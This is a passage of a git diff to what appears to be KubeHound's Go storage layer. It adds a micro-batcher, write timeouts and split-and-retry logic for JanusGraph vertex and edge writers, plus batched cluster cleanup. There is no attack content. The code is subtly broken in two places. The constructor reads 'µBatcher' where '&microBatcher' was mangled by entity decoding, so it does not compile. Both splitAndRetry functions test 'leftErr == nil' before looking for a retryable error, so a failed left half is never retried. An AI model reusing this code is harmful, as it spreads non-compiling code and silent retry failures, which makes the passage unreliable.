func(t *testing.T) { t.Parallel() m := &MemCacheAsyncWriter{ diff --git a/pkg/kubehound/storage/cache/memcache_writer.go b/pkg/kubehound/storage/cache/memcache_writer.go index 031aa5bee..ffbb3f4ff 100644 --- a/pkg/kubehound/storage/cache/memcache_writer.go +++ b/pkg/kubehound/storage/cache/memcache_writer.go @@ -22,7 +22,7 @@ func (m *MemCacheAsyncWriter) Queue(ctx context.Context, key cachekey.CacheKey, m.mu.Lock() defer m.mu.Unlock() tagCacheKey := tag.GetBaseTagsWith(tag.CacheKey(key.Shard())) - _ = statsd.Incr(metric.CacheWrite, tagCacheKey, 1) + _ = statsd.Incr(ctx, metric.CacheWrite, tagCacheKey, 1) keyId := computeKey(key) entry, ok := m.data[keyId] if ok { @@ -33,7 +33,7 @@ func (m *MemCacheAsyncWriter) Queue(ctx context.Context, key cachekey.CacheKey, if !m.opts.ExpectOverwrite { // if overwrite is expected (e.g fast tracking of existence regardless of value), suppress metrics and logs - _ = statsd.Incr(metric.CacheDuplicate, tagCacheKey, 1) + _ = statsd.Incr(ctx, metric.CacheDuplicate, tagCacheKey, 1) log.Trace(ctx).Warnf("overwriting cache entry key=%s old=%#v new=%#v", keyId, entry, value) } } diff --git a/pkg/kubehound/storage/cache/result_test.go b/pkg/kubehound/storage/cache/result_test.go index 7d54de853..3ac416236 100644 --- a/pkg/kubehound/storage/cache/result_test.go +++ b/pkg/kubehound/storage/cache/result_test.go @@ -70,7 +70,6 @@ func TestCacheResult_ObjectID(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() r := &CacheResult{ @@ -142,7 +141,6 @@ func TestCacheResult_Int64(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() r := &CacheResult{ @@ -213,7 +211,6 @@ func TestCacheResult_Text(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() r := &CacheResult{ @@ -284,7 +281,6 @@ func TestCacheResult_Bool(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() @@ -370,7 +366,6 @@ func TestCacheResult_Role(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() r := &CacheResult{ diff --git a/pkg/kubehound/storage/graphdb/errors.go b/pkg/kubehound/storage/graphdb/errors.go new file mode 100644 index 000000000..fe6772ee8 --- /dev/null +++ b/pkg/kubehound/storage/graphdb/errors.go @@ -0,0 +1,22 @@ +package graphdb + +import "fmt" + +// batchWriterError is an error type that wraps an error and indicates whether the +// error is retryable. +type batchWriterError struct { + err error + retryable bool +} + +func (e batchWriterError) Error() string { + if e.err == nil { + return fmt.Sprintf("batch writer error (retriable:%v)", e.retryable) + } + + return fmt.Sprintf("batch writer error (retriable:%v): %v", e.retryable, e.err.Error()) +} + +func (e batchWriterError) Unwrap() error { + return e.err +} diff --git a/pkg/kubehound/storage/graphdb/janusgraph_edge_writer.go b/pkg/kubehound/storage/graphdb/janusgraph_edge_writer.go index 430181039..47fe37ee3 100644 --- a/pkg/kubehound/storage/graphdb/janusgraph_edge_writer.go +++ b/pkg/kubehound/storage/graphdb/janusgraph_edge_writer.go @@ -6,6 +6,7 @@ import ( "fmt" "sync" "sync/atomic" + "time" "github.com/DataDog/KubeHound/pkg/kubehound/graph/edge" "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" @@ -29,21 +30,24 @@ type JanusGraphEdgeWriter struct { gremlin types.EdgeTraversal // Gremlin traversal generator function drc *gremlingo.DriverRemoteConnection // Gremlin driver remote connection traversalSource *gremlingo.GraphTraversalSource // Transacted graph traversal source - inserts []any // Object data to be inserted in the graph - mu sync.Mutex // Mutex protecting access to the inserts array - consumerChan chan []any // Channel consuming inserts for async writing writingInFlight *sync.WaitGroup // Wait group tracking current unfinished writes - batchSize int // Batchsize of graph DB inserts qcounter int32 // Track items queued wcounter int32 // Track items writtn tags []string // Telemetry tags + writerTimeout time.Duration // Timeout for the writer + maxRetry int // Maximum number of retries for failed writes + mb *microBatcher // Micro batcher to batch writes } // NewJanusGraphAsyncEdgeWriter creates a new bulk edge writer instance. func NewJanusGraphAsyncEdgeWriter(ctx context.Context, drc *gremlingo.DriverRemoteConnection, - e edge.Builder, opts ...WriterOption) (*JanusGraphEdgeWriter, error) { - - options := &writerOptions{} + e edge.Builder, opts ...WriterOption, +) (*JanusGraphEdgeWriter, error) { + options := &writerOptions{ + WriterTimeout: defaultWriterTimeout, + MaxRetry: defaultMaxRetry, + WriterWorkerCount: defaultWriterWorkerCount, + } for _, opt := range opts { opt(options) } @@ -53,109 +57,144 @@ func NewJanusGraphAsyncEdgeWriter(ctx context.Context, drc *gremlingo.DriverRemo builder: builder, gremlin: e.Traversal(), drc: drc, - inserts: make([]any, 0, e.BatchSize()), traversalSource: gremlingo.Traversal_().WithRemote(drc), - batchSize: e.BatchSize(), writingInFlight: &sync.WaitGroup{}, - consumerChan: make(chan []any, e.BatchSize()*channelSizeBatchFactor), tags: append(options.Tags, tag.Label(e.Label()), tag.Builder(builder)), + writerTimeout: options.WriterTimeout, + maxRetry: options.MaxRetry, } - jw.startBackgroundWriter(ctx) + // Create a new micro batcher to batch the inserts with split and retry logic. + jw.mb = newMicroBatcher(log.Trace(ctx), e.BatchSize(), options.WriterWorkerCount, func(ctx context.Context, a []any) error { + // Increment the writingInFlight wait group to track the number of writes in progress. + jw.writingInFlight.Add(1) + defer jw.writingInFlight.Done() + + // Try to write the batch to the graph DB. + if err := jw.batchWrite(ctx, a); err != nil { + var bwe *batchWriterError + if errors.As(err, &bwe) && bwe.retryable { + // If the write operation failed and is retryable, split the batch and retry. + return jw.splitAndRetry(ctx, 0, a) + } + + return err + } + + return nil + }) + jw.mb.Start(ctx) return &jw, nil } -// startBackgroundWriter starts a background go routine -func (jgv *JanusGraphEdgeWriter) startBackgroundWriter(ctx context.Context) { - go func() { - for { - select { - case data := <-jgv.consumerChan: - // closing the channel shoud stop the go routine - if data == nil { - return - } - - _ = statsd.Count(metric.BackgroundWriterCall, 1, jgv.tags, 1) - err := jgv.batchWrite(ctx, data) - if err != nil { - log.Trace(ctx).Errorf("write data in background batch writer: %v", err) - } - - _ = statsd.Decr(metric.QueueSize, jgv.tags, 1) - case <-ctx.Done(): - log.Trace(ctx).Info("Closed background janusgraph worker on context cancel") - - return +// retrySplitAndRequeue will split the batch into smaller chunks and requeue them for writing. +func (jgv *JanusGraphEdgeWriter) splitAndRetry(ctx context.Context, retryCount int, payload []any) error { + _ = statsd.Count(ctx, metric.RetryWriterCall, 1, jgv.tags, 1) + + // If we have reached the maximum number of retries, return an error. + if retryCount >= jgv.maxRetry { + return fmt.Errorf("max retry count reached: %d", retryCount) + } + + // Compute the new batch size. + newBatchSize := len(payload) / 2 + + log.Trace(ctx).Warnf("Retrying write operation with smaller edge batch (n:%d -> %d, r:%d)", len(payload), newBatchSize, retryCount) + + var leftErr, rightErr error + + // Split the batch into smaller chunks and retry them. + if len(payload[:newBatchSize]) > 0 { + if leftErr = jgv.batchWrite(ctx, payload[:newBatchSize]); leftErr == nil { + var bwe *batchWriterError + if errors.As(leftErr, &bwe) && bwe.retryable { + return jgv.splitAndRetry(ctx, retryCount+1, payload[:newBatchSize]) + } + } + } + + // Process the right side of the batch. + if len(payload[newBatchSize:]) > 0 { + if rightErr = jgv.batchWrite(ctx, payload[newBatchSize:]); rightErr != nil { + var bwe *batchWriterError + if errors.As(rightErr, &bwe) && bwe.retryable { + return jgv.splitAndRetry(ctx, retryCount+1, payload[newBatchSize:]) } } - }() + } + + // Return the first error encountered. + switch { + case leftErr != nil && rightErr != nil: + return fmt.Errorf("left: %w, right: %w", leftErr, rightErr) + case leftErr != nil: + return leftErr + case rightErr != nil: + return rightErr + } + + return nil } // batchWrite will write a batch of entries into the graph DB and block until the write completes. -// Callers are responsible for doing an Add(1) to the writingInFlight wait group to ensure proper synchronization. func (jgv *JanusGraphEdgeWriter) batchWrite(ctx context.Context, data []any) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.JanusGraphBatchWrite, - tracer.Measured(), tracer.ServiceName(TracerServicename)) + span, ctx := span.SpanRunFromContext(ctx, span.JanusGraphBatchWrite) span.SetTag(tag.LabelTag, jgv.builder) var err error defer func() { span.Finish(tracer.WithError(err)) }() - defer jgv.writingInFlight.Done() datalen := len(data) - _ = statsd.Count(metric.EdgeWrite, int64(datalen), jgv.tags, 1) + _ = statsd.Count(ctx, metric.EdgeWrite, int64(datalen), jgv.tags, 1) log.Trace(ctx).Debugf("Batch write JanusGraphEdgeWriter with %d elements", datalen) - atomic.AddInt32(&jgv.wcounter, int32(datalen)) + atomic.AddInt32(&jgv.wcounter, int32(datalen)) //nolint:gosec // disable G115 op := jgv.gremlin(jgv.traversalSource, data) promise := op.Iterate() - err = <-promise - if err != nil { - return fmt.Errorf("%s edge insert: %w", jgv.builder, err) + + // Wait for the write operation to complete or timeout. + select { + case <-ctx.Done(): + // If the context is cancelled, return the error. + return ctx.Err() + case <-time.After(jgv.writerTimeout): + // If the write operation takes too long, return an error. + return &batchWriterError{ + err: errors.New("edge write operation timed out"), + retryable: true, + } + case err := <-promise: + if err != nil { + return fmt.Errorf("%s edge insert: %w", jgv.builder, err) + } } return nil } func (jgv *JanusGraphEdgeWriter) Close(ctx context.Context) error { - close(jgv.consumerChan) - return nil } // Flush triggers writes of any remaining items in the queue. // This is blocking func (jgv *JanusGraphEdgeWriter) Flush(ctx context.Context) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.JanusGraphFlush, - tracer.Measured(), tracer.ServiceName(TracerServicename)) + span, ctx := span.SpanRunFromContext(ctx, span.JanusGraphFlush) span.SetTag(tag.LabelTag, jgv.builder) var err error defer func() { span.Finish(tracer.WithError(err)) }() - jgv.mu.Lock() - defer jgv.mu.Unlock() - if jgv.traversalSource == nil { return errors.New("janusGraph traversalSource is not initialized") } - if len(jgv.inserts) != 0 { - _ = statsd.Incr(metric.FlushWriterCall, jgv.tags, 1) - - jgv.writingInFlight.Add(1) - err = jgv.batchWrite(ctx, jgv.inserts) - if err != nil { - log.Trace(ctx).Errorf("batch write %s: %+v", jgv.builder, err) - jgv.writingInFlight.Wait() - - return err - } - - log.Trace(ctx).Debugf("Done flushing %s writes. clearing the queue", jgv.builder) - jgv.inserts = nil + // Flush the micro batcher. + err = jgv.mb.Flush(ctx) + if err != nil { + return fmt.Errorf("micro batcher flush: %w", err) } + // Wait for all writes to complete. jgv.writingInFlight.Wait() log.Trace(ctx).Debugf("Edge writer %d %s queued", jgv.qcounter, jgv.builder) @@ -165,23 +204,7 @@ func (jgv *JanusGraphEdgeWriter) Flush(ctx context.Context) error { } func (jgv *JanusGraphEdgeWriter) Queue(ctx context.Context, v any) error { - jgv.mu.Lock() - defer jgv.mu.Unlock() - atomic.AddInt32(&jgv.qcounter, 1) - jgv.inserts = append(jgv.inserts, v) - if len(jgv.inserts) > jgv.batchSize { - copied := make([]any, len(jgv.inserts)) - copy(copied, jgv.inserts) - - jgv.writingInFlight.Add(1) - jgv.consumerChan <- copied - _ = statsd.Incr(metric.QueueSize, jgv.tags, 1) - - // cleanup the ops array after we have copied it to the channel - jgv.inserts = nil - } - - return nil + return jgv.mb.Enqueue(ctx, v) } diff --git a/pkg/kubehound/storage/graphdb/janusgraph_provider.go b/pkg/kubehound/storage/graphdb/janusgraph_provider.go index ad883dadd..b09359a46 100644 --- a/pkg/kubehound/storage/graphdb/janusgraph_provider.go +++ b/pkg/kubehound/storage/graphdb/janusgraph_provider.go @@ -10,13 +10,16 @@ import ( "github.com/DataDog/KubeHound/pkg/kubehound/graph/vertex" "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" "github.com/DataDog/KubeHound/pkg/telemetry/log" + "github.com/DataDog/KubeHound/pkg/telemetry/span" "github.com/DataDog/KubeHound/pkg/telemetry/tag" gremlin "github.com/apache/tinkerpop/gremlin-go/v3/driver" + "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) const ( channelSizeBatchFactor = 4 // TODO maybe move that into a config file? StorageProviderName = "janusgraph" + deleteBatchSize = 10000 ) var ( @@ -64,23 +67,54 @@ func (jgp *JanusGraphProvider) Prepare(ctx context.Context) error { return nil } - g := gremlin.Traversal_().WithRemote(jgp.drc) - tx := g.Tx() - defer tx.Close() - - gtx, err := tx.Begin() - if err != nil { - return err - } - - err = <-gtx.V().Drop().Iterate() - if err != nil { - return err - } - - err = tx.Commit() - if err != nil { - return err + // These vertex types are defined in the schema. + for _, vertexType := range vertex.Labels { + g := gremlin.Traversal_().WithRemote(jgp.drc) + tx := g.Tx() + defer tx.Close() + + for { + // Begin a new transaction. + gtx, err := tx.Begin() + if err != nil { + return err + } + + // Retrieve the number of vertices in the graph. + page, err := gtx.V().Has("class", vertexType).Count().Next() + if err != nil { + return err + } + + // Decode the number of vertices from the page. + count, err := page.GetInt() + if err != nil { + return err + } + + // If there are no more vertices to delete, break the loop. + if count == 0 { + break + } + + // Delete the vertices in the graph. + err = <-gtx.V().Has("class", vertexType).Limit(deleteBatchSize).Drop().Iterate() + if err != nil { + return err + } + + // Commit the transaction. + if err := tx.Commit(); err != nil { + return err + } + + // Check context for cancellation. + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + } } return nil @@ -128,6 +162,9 @@ func (jgp *JanusGraphProvider) VertexWriter(ctx context.Context, v vertex.Builde c cache.CacheProvider, opts ...WriterOption) (AsyncVertexWriter, error) { opts = append(opts, WithTags(jgp.tags)) + opts = append(opts, WithWriterWorkerCount(jgp.cfg.JanusGraph.WriterWorkerCount)) + opts = append(opts, WithWriterTimeout(jgp.cfg.JanusGraph.WriterTimeout)) + opts = append(opts, WithWriterMaxRetry(jgp.cfg.JanusGraph.WriterMaxRetry)) return NewJanusGraphAsyncVertexWriter(ctx, jgp.drc, v, c, opts...) } @@ -135,6 +172,9 @@ func (jgp *JanusGraphProvider) VertexWriter(ctx context.Context, v vertex.Builde // EdgeWriter creates a new AsyncEdgeWriter instance to enable asynchronous bulk inserts of edges. func (jgp *JanusGraphProvider) EdgeWriter(ctx context.Context, e edge.Builder, opts ...WriterOption) (AsyncEdgeWriter, error) { opts = append(opts, WithTags(jgp.tags)) + opts = append(opts, WithWriterWorkerCount(jgp.cfg.JanusGraph.WriterWorkerCount)) + opts = append(opts, WithWriterTimeout(jgp.cfg.JanusGraph.WriterTimeout)) + opts = append(opts, WithWriterMaxRetry(jgp.cfg.JanusGraph.WriterMaxRetry)) return NewJanusGraphAsyncEdgeWriter(ctx, jgp.drc, e, opts...) } @@ -145,3 +185,60 @@ func (jgp *JanusGraphProvider) Close(ctx context.Context) error { return nil } + +// Clean removes all vertices in the graph for the given cluster. +func (jgp *JanusGraphProvider) Clean(ctx context.Context, cluster string) error { + var err error + span, ctx := span.SpanRunFromContext(ctx, span.IngestorClean) + defer func() { span.Finish(tracer.WithError(err)) }() + l := log.Trace(ctx) + l.Info("Cleaning cluster", log.String(log.FieldClusterKey, cluster)) + g := gremlin.Traversal_().WithRemote(jgp.drc) + tx := g.Tx() + defer tx.Close() + + for { + // Begin a new transaction. + gtx, err := tx.Begin() + if err != nil { + return err + } + + // Retrieve the number of vertices in the graph for the given cluster. + page, err := gtx.V().Has("cluster", cluster).Count().Next() + if err != nil { + return err + } + + // Decode the number of vertices from the page. + count, err := page.GetInt() + if err != nil { + return err + } + + // If there are no more vertices to delete, break the loop. + if count == 0 { + break + } + + // Delete the vertices in the graph for the given cluster. + err = <-gtx.V().Has("cluster", cluster).Limit(deleteBatchSize).Drop().Iterate() + if err != nil { + return err + } + + // Commit the transaction. + if err := tx.Commit(); err != nil { + return err + } + + // Check context for cancellation. + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + } + + return nil +} diff --git a/pkg/kubehound/storage/graphdb/janusgraph_vertex_writer.go b/pkg/kubehound/storage/graphdb/janusgraph_vertex_writer.go index 0272408c9..5facc1b71 100644 --- a/pkg/kubehound/storage/graphdb/janusgraph_vertex_writer.go +++ b/pkg/kubehound/storage/graphdb/janusgraph_vertex_writer.go @@ -6,6 +6,7 @@ import ( "fmt" "sync" "sync/atomic" + "time" "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" "github.com/DataDog/KubeHound/pkg/kubehound/graph/vertex" @@ -27,22 +28,25 @@ type JanusGraphVertexWriter struct { gremlin types.VertexTraversal // Gremlin traversal generator function drc *gremlin.DriverRemoteConnection // Gremlin driver remote connection traversalSource *gremlin.GraphTraversalSource // Transacted graph traversal source - inserts []any // Object data to be inserted in the graph - mu sync.Mutex // Mutex protecting access to the inserts array - consumerChan chan []any // Channel consuming inserts for async writing writingInFlight *sync.WaitGroup // Wait group tracking current unfinished writes - batchSize int // Batchsize of graph DB inserts qcounter int32 // Track items queued wcounter int32 // Track items writtn tags []string // Telemetry tags cache cache.AsyncWriter // Cache writer to cache store id -> vertex id mappings + writerTimeout time.Duration // Timeout for the writer + maxRetry int // Maximum number of retries for failed writes + mb *microBatcher // Micro batcher to batch writes } // NewJanusGraphAsyncVertexWriter creates a new bulk vertex writer instance. func NewJanusGraphAsyncVertexWriter(ctx context.Context, drc *gremlin.DriverRemoteConnection, - v vertex.Builder, c cache.CacheProvider, opts ...WriterOption) (*JanusGraphVertexWriter, error) { - - options := &writerOptions{} + v vertex.Builder, c cache.CacheProvider, opts ...WriterOption, +) (*JanusGraphVertexWriter, error) { + options := &writerOptions{ + WriterTimeout: defaultWriterTimeout, + MaxRetry: defaultMaxRetry, + WriterWorkerCount: defaultWriterWorkerCount, + } for _, opt := range opts { opt(options) } @@ -56,45 +60,36 @@ func NewJanusGraphAsyncVertexWriter(ctx context.Context, drc *gremlin.DriverRemo builder: v.Label(), gremlin: v.Traversal(), drc: drc, - inserts: make([]any, 0, v.BatchSize()), traversalSource: gremlin.Traversal_().WithRemote(drc), - batchSize: v.BatchSize(), writingInFlight: &sync.WaitGroup{}, - consumerChan: make(chan []any, v.BatchSize()*channelSizeBatchFactor), tags: append(options.Tags, tag.Label(v.Label()), tag.Builder(v.Label())), cache: cw, + writerTimeout: options.WriterTimeout, + maxRetry: options.MaxRetry, } - jw.startBackgroundWriter(ctx) - - return &jw, nil -} - -// startBackgroundWriter starts a background go routine -func (jgv *JanusGraphVertexWriter) startBackgroundWriter(ctx context.Context) { - go func() { - for { - select { - case data := <-jgv.consumerChan: - // closing the channel shoud stop the go routine - if data == nil { - return - } - - _ = statsd.Count(metric.BackgroundWriterCall, 1, jgv.tags, 1) - err := jgv.batchWrite(ctx, data) - if err != nil { - log.Trace(ctx).Errorf("Write data in background batch writer: %v", err) - } - - _ = statsd.Decr(metric.QueueSize, jgv.tags, 1) - case <-ctx.Done(): - log.Trace(ctx).Info("Closed background janusgraph worker on context cancel") - - return + // Create a new micro batcher to batch the inserts with split and retry logic. + jw.mb = newMicroBatcher(log.Trace(ctx), v.BatchSize(), options.WriterWorkerCount, func(ctx context.Context, a []any) error { + // Increment the writingInFlight wait group to track the number of writes in progress. + jw.writingInFlight.Add(1) + defer jw.writingInFlight.Done() + + // Try to write the batch to the graph DB. + if err := jw.batchWrite(ctx, a); err != nil { + var bwe *batchWriterError + if errors.As(err, &bwe) && bwe.retryable { + // If the write operation failed and is retryable, split the batch and retry. + return jw.splitAndRetry(ctx, 0, a) } + + return err } - }() + + return nil + }) + jw.mb.Start(ctx) + + return &jw, nil } func (jgv *JanusGraphVertexWriter) cacheIds(ctx context.Context, idMap []*gremlin.Result) error { @@ -121,76 +116,148 @@ func (jgv *JanusGraphVertexWriter) cacheIds(ctx context.Context, idMap []*gremli } // batchWrite will write a batch of entries into the graph DB and block until the write completes. -// Callers are responsible for doing an Add(1) to the writingInFlight wait group to ensure proper synchronization. func (jgv *JanusGraphVertexWriter) batchWrite(ctx context.Context, data []any) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.JanusGraphBatchWrite, - tracer.Measured(), tracer.ServiceName(TracerServicename)) + _ = statsd.Count(ctx, metric.BackgroundWriterCall, 1, jgv.tags, 1) + + span, ctx := span.SpanRunFromContext(ctx, span.JanusGraphBatchWrite) span.SetTag(tag.LabelTag, jgv.builder) var err error defer func() { span.Finish(tracer.WithError(err)) }() - defer jgv.writingInFlight.Done() datalen := len(data) - _ = statsd.Count(metric.VertexWrite, int64(datalen), jgv.tags, 1) + _ = statsd.Count(ctx, metric.VertexWrite, int64(datalen), jgv.tags, 1) log.Trace(ctx).Debugf("Batch write JanusGraphVertexWriter with %d elements", datalen) - atomic.AddInt32(&jgv.wcounter, int32(datalen)) + atomic.AddInt32(&jgv.wcounter, int32(datalen)) //nolint:gosec // disable G115 - op := jgv.gremlin(jgv.traversalSource, data) - raw, err := op.Project("id", "storeID"). - By(gremlin.T.Id). - By("storeID"). - ToList() - if err != nil { - return fmt.Errorf("%s vertex insert: %w", jgv.builder, err) + // Create a channel to signal the completion of the write operation. + errChan := make(chan error, 1) + + // We need to ensure that the write operation is completed within a certain + // time frame to avoid blocking the writer indefinitely if the backend + // is unresponsive. + go func() { + // Create a new gremlin operation to insert the data into the graph. + op := jgv.gremlin(jgv.traversalSource, data) + raw, err := op.Project("id", "storeID"). + By(gremlin.T.Id). + By("storeID"). + ToList() + if err != nil { + errChan <- fmt.Errorf("%s vertex insert: %w", jgv.builder, err) + + return + } + + // Gremlin will return a list of maps containing and vertex id and store + // id values for each vertex inserted. + // We need to parse each map entry and add to our cache. + if err = jgv.cacheIds(ctx, raw); err != nil { + errChan <- fmt.Errorf("cache ids: %w", err) + + return + } + + errChan <- nil + }() + + // Wait for the write operation to complete or timeout. + select { + case <-ctx.Done(): + // If the context is cancelled, return the error. + return ctx.Err() + case <-time.After(jgv.writerTimeout): + // If the write operation takes too long, return an error. + return &batchWriterError{ + err: errors.New("vertex write operation timed out"), + retryable: true, + } + case err = <-errChan: + if err != nil { + return fmt.Errorf("janusgraph batch write: %w", err) + } } - // Gremlin will return a list of maps containing and vertex id and store id values for each vertex inserted. - // We need to parse each map entry and add to our cache. - if err = jgv.cacheIds(ctx, raw); err != nil { - return err + return nil +} + +// retrySplitAndRequeue will split the batch into smaller chunks and requeue them for writing. +func (jgv *JanusGraphVertexWriter) splitAndRetry(ctx context.Context, retryCount int, payload []any) error { + _ = statsd.Count(ctx, metric.RetryWriterCall, 1, jgv.tags, 1) + + // If we have reached the maximum number of retries, return an error. + if retryCount >= jgv.maxRetry { + return fmt.Errorf("max retry count reached: %d", retryCount) + } + + // Compute the new batch size. + newBatchSize := len(payload) / 2 + + log.Trace(ctx).Warnf("Retrying write operation with smaller vertex batch (n:%d -> %d, r:%d)", len(payload), newBatchSize, retryCount) + + var leftErr, rightErr error + + // Split the batch into smaller chunks and retry them. + if len(payload[:newBatchSize]) > 0 { + if leftErr = jgv.batchWrite(ctx, payload[:newBatchSize]); leftErr == nil { + var bwe *batchWriterError + if errors.As(leftErr, &bwe) && bwe.retryable { + return jgv.splitAndRetry(ctx, retryCount+1, payload[:newBatchSize]) + } + } + } + + // Process the right side of the batch. + if len(payload[newBatchSize:]) > 0 { + if rightErr = jgv.batchWrite(ctx, payload[newBatchSize:]); rightErr != nil { + var bwe *batchWriterError + if errors.As(rightErr, &bwe) && bwe.retryable { + return jgv.splitAndRetry(ctx, retryCount+1, payload[newBatchSize:]) + } + } + } + + // Return the first error encountered. + switch { + case leftErr != nil && rightErr != nil: + return fmt.Errorf("left: %w, right: %w", leftErr, rightErr) + case leftErr != nil: + return leftErr + case rightErr != nil: + return rightErr } return nil } func (jgv *JanusGraphVertexWriter) Close(ctx context.Context) error { - close(jgv.consumerChan) + if jgv.cache != nil { + if err := jgv.cache.Close(ctx); err != nil { + return fmt.Errorf("closing cache: %w", err) + } + } - return jgv.cache.Close(ctx) + return nil } // Flush triggers writes of any remaining items in the queue. // This is blocking func (jgv *JanusGraphVertexWriter) Flush(ctx context.Context) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.JanusGraphFlush, - tracer.Measured(), tracer.ServiceName(TracerServicename)) + span, ctx := span.SpanRunFromContext(ctx, span.JanusGraphFlush) span.SetTag(tag.LabelTag, jgv.builder) var err error defer func() { span.Finish(tracer.WithError(err)) }() - jgv.mu.Lock() - defer jgv.mu.Unlock() - if jgv.traversalSource == nil { return errors.New("janusGraph traversalSource is not initialized") } - if len(jgv.inserts) != 0 { - _ = statsd.Incr(metric.FlushWriterCall, jgv.tags, 1) - - jgv.writingInFlight.Add(1) - err = jgv.batchWrite(ctx, jgv.inserts) - if err != nil { - log.Trace(ctx).Errorf("batch write %s: %+v", jgv.builder, err) - jgv.writingInFlight.Wait() - - return err - } - - log.Trace(ctx).Debugf("Done flushing %s writes. clearing the queue", jgv.builder) - jgv.inserts = nil + // Flush the micro batcher. + err = jgv.mb.Flush(ctx) + if err != nil { + return fmt.Errorf("micro batcher flush: %w", err) } + // Wait for all writes to complete. jgv.writingInFlight.Wait() err = jgv.cache.Flush(ctx) @@ -205,23 +272,7 @@ func (jgv *JanusGraphVertexWriter) Flush(ctx context.Context) error { } func (jgv *JanusGraphVertexWriter) Queue(ctx context.Context, v any) error { - jgv.mu.Lock() - defer jgv.mu.Unlock() - atomic.AddInt32(&jgv.qcounter, 1) - jgv.inserts = append(jgv.inserts, v) - - if len(jgv.inserts) > jgv.batchSize { - copied := make([]any, len(jgv.inserts)) - copy(copied, jgv.inserts) - - jgv.writingInFlight.Add(1) - jgv.consumerChan <- copied - _ = statsd.Incr(metric.QueueSize, jgv.tags, 1) - // cleanup the ops array after we have copied it to the channel - jgv.inserts = nil - } - - return nil + return jgv.mb.Enqueue(ctx, v) } diff --git a/pkg/kubehound/storage/graphdb/microbatcher.go b/pkg/kubehound/storage/graphdb/microbatcher.go new file mode 100644 index 000000000..889622ac2 --- /dev/null +++ b/pkg/kubehound/storage/graphdb/microbatcher.go @@ -0,0 +1,183 @@ +package graphdb + +import ( + "context" + "errors" + "sync" + "sync/atomic" + + "github.com/DataDog/KubeHound/pkg/telemetry/log" +) + +// batchItem is a single item in the batch writer queue that contains the data +// to be written and the number of retries. +type batchItem struct { + data []any + retryCount int +} + +// microBatcher is a utility to batch items and flush them when the batch is full. +type microBatcher struct { + // batchSize is the maximum number of items to batch. + batchSize int + // items is the current item accumulator for the batch. This is reset after + // the batch is flushed. + items []any + // flush is the function to call to flush the batch. + flushFunc func(context.Context, []any) error + // itemChan is the channel to receive items to batch. + itemChan chan any + // batchChan is the channel to send batches to. + batchChan chan batchItem + // workerCount is the number of workers to process the batch. + workerCount int + // workerGroup is the worker group to wait for the workers to finish. + workerGroup *sync.WaitGroup + // shuttingDown is a flag to indicate if the batcher is shutting down. + shuttingDown atomic.Bool + // logger is the logger to use for logging. + logger log.LoggerI +} + +// NewMicroBatcher creates a new micro batcher. +func newMicroBatcher(logger log.LoggerI, batchSize int, workerCount int, flushFunc func(context.Context, []any) error) *microBatcher { + return µBatcher{ + logger: logger, + batchSize: batchSize, + items: make([]any, 0, batchSize), + flushFunc: flushFunc, + itemChan: make(chan any, batchSize), + batchChan: make(chan batchItem, batchSize), + workerCount: workerCount, + workerGroup: nil, // Set in Start. + } +} + +// Flush flushes the current batch and waits for the batch writer to finish. +func (mb *microBatcher) Flush(_ context.Context) error { + // Set the shutting down flag to true. + if !mb.shuttingDown.CompareAndSwap(false, true) { + return errors.New("batcher is already shutting down") + } + + // Closing the item channel to signal the accumulator to stop and flush the batch. + close(mb.itemChan) + + // Wait for the workers to finish. + if mb.workerGroup != nil { + mb.workerGroup.Wait() + } + + return nil +} + +// Enqueue adds an item to the batch processor. +func (mb *microBatcher) Enqueue(ctx context.Context, item any) error { + // If the batcher is shutting down, return an error immediately. + if mb.shuttingDown.Load() { + return errors.New("batcher is shutting down") + } + + select { + case <-ctx.Done(): + // If the context is cancelled, return. + return ctx.Err() + case mb.itemChan <- item: + } + + return nil +} + +// Start starts the batch processor. +func (mb *microBatcher) Start(ctx context.Context) { + if mb.workerGroup != nil { + // If the worker group is already set, return. + return + } + + var wg sync.WaitGroup + + // Start the workers. + for i := 0; i < mb.workerCount; i++ { + wg.Add(1) + go func() { + defer wg.Done() + if err := mb.worker(ctx, mb.batchChan); err != nil { + mb.logger.Errorf("worker: %v", err) + } + }() + } + + // Start the item accumulator. + wg.Add(1) + go func() { + defer wg.Done() + if err := mb.runItemBatcher(ctx); err != nil { + mb.logger.Errorf("run item batcher: %v", err) + } + + // Close the batch channel to signal the workers to stop. + close(mb.batchChan) + }() + + // Set the worker group to wait for the workers to finish. + mb.workerGroup = &wg +} + +// startItemBatcher starts the item accumulator to batch items. +func (mb *microBatcher) runItemBatcher(ctx context.Context) error { + for { + select { + case <-ctx.Done(): + return ctx.Err() + + case item, ok := <-mb.itemChan: + if !ok { + // If the item channel is closed, send the current batch and return. + mb.batchChan <- batchItem{ + data: mb.items, + retryCount: 0, + } + + // End the accumulator. + return nil + } + + // Add the item to the batch. + mb.items = append(mb.items, item) + + // If the batch is full, send it. + if len(mb.items) == mb.batchSize { + // Send the batch to the processor. + mb.batchChan <- batchItem{ + data: mb.items, + retryCount: 0, + } + + // Reset the batch. + mb.items = mb.items[len(mb.items):] + } + } + } +} + +// startWorkers starts the workers to process the batches. +func (mb *microBatcher) worker(ctx context.Context, batchQueue <-chan batchItem) error { + for { + select { + case <-ctx.Done(): + return ctx.Err() + case batch, ok := <-batchQueue: + if !ok { + return nil + } + + // Send the batch to the processor. + if len(batch.data) > 0 && mb.flushFunc != nil { + if err := mb.flushFunc(ctx, batch.data); err != nil { + mb.logger.Errorf("flush data in background batch writer: %v", err) + } + } + } + } +} diff --git a/pkg/kubehound/storage/graphdb/microbatcher_test.go 